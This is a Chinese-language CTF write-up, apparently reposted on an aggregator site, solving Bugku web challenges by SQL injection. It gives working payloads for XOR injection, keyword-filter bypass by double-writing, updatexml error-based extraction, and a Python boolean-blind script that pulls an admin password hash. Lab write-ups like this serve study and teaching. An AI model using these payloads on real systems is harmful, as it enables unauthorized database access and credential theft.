bugku web2

Posted sharp_ff

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了bugku web2相关的知识,希望对你有一定的参考价值。

多次

 

访问页面

看起来是sql注入,加个\'试试

页面报错,看来是注入点, id=1\' and \'1\'=\'1# 结果发现页面还是Error,猜测是有什么过滤了,这时我们使用一种新办法,异或注入

异或注入原理  1^1=0 0^0=0 1^0=1 

所以我们构造语句id=1\'^(length(\'and\')!=0)#   当and被过滤,length(\'and\')=0,那么语句就相当于id=\'1^0#,此时就会返回正确的页面,我们就可以判断出被什么被过滤了

测试后发现and  or   union  select都被过滤为空字符串\'\'   所以我们可以使用双写来绕过

用order by 测不出列数,应该是页面不回显order by的错误, 尝试一下union select发现只有两列的时候返回正确的页面

表   id=\' uniounionn selecselectt 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23

列    id=\' uniounionn selecselectt 1,group_concat(column_name) from infoorrmation_schema.columns where table_name=\'flag1\'%23

字段    

id=\' uniounionn selecselectt 1,flag1 from flag1%23

这也不是flag啊,回去看题目说有两个flag,我们去address表看一下

出现了下一关,我们访问

又是sql注入,继续尝试,发现当使用\'后有报错信息

那么应该是可以使用xpath报错注入的,并且发现没有过滤and or之类的,那么问题就简单了

表    id=\' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)),1)%23

列    id=\' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=\'flag2\'),0x7e)),1)%23

字段    id=\' or updatexml(1,(concat(0x7e,(select flag2 from flag2),0x7e)),1)%23

flag{Bugku-sql_6s-2i-4t-bug}

提交后不对??? 上网看结果答案是flag{bugku-sql_6s-2i-4t-bug}....

 

 

login3(SKCTF)

访问页面

 登录页面,而且题目提示我们使用sql布尔盲注,开始尝试

当用户名存在密码不对的时候返回这个

当用户名不存在时

那么用户名就是注入点,结果发现有些关键词被BAN了...  提示illegal charater

测试后and 空格 union  for  逗号 都被过滤了

异或注入,()替代空格,对于逗号来说 mid(str,1,1) 我们可以使用mid(str from 1 for 1) 但是for也被过滤了,上网查看大佬说使用ascii()

ascii()函数返回一段字符串中第一位字符的ascii值,所以我们使用mid(str from 1)就可以

跑脚本

#!/usr/bin/env python
# coding=utf-8

import requests

url = \'http://123.206.31.85:49167/index.php\'
s = requests.Session()
strn="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+-*/="

# def database():
#     result = \'\'
#     for i in range(30):
#         for j in str_all:
#             payload = "\'^(ascii(mid(database()from({})))<>{})#".format(str(i),ord(j))
#             data = {
#             \'username\' : payload,
#             \'password\' : "123"
#             }
#             r = s.post(url,data=data)
#             if \'error\' in r.text:
#                 result +=j
#                 print result

def password():
    result = \'\'
    for i in range(33):
        for j in strn:
            payload = "\'^(ascii(mid((select(password)from(admin))from({})))<>{})#".format(str(i),ord(j))
            data = {
            \'username\' : payload,
            \'password\' : "123"
            }
            r = s.post(url,data=data)
            if \'error\' in r.text:
                result +=j
                print result

#database()
password()

 

因为for被BAN了 所以无法使用information_schema表,只能猜测

select password from admin

跑出来的密码为51b7a76d51e70b419f60d3473fb6f900,md5解密后填入,得到flag

 

以上是关于bugku web2的主要内容,如果未能解决你的问题,请参考以下文章

Bugku_CTF Writeup 之 web2(20)

CTF--web BugKu-ctf-web(1-10)

bugku web wp

Bugku Web题

BugKu [CTF] [web1-10]

bugku 代码审计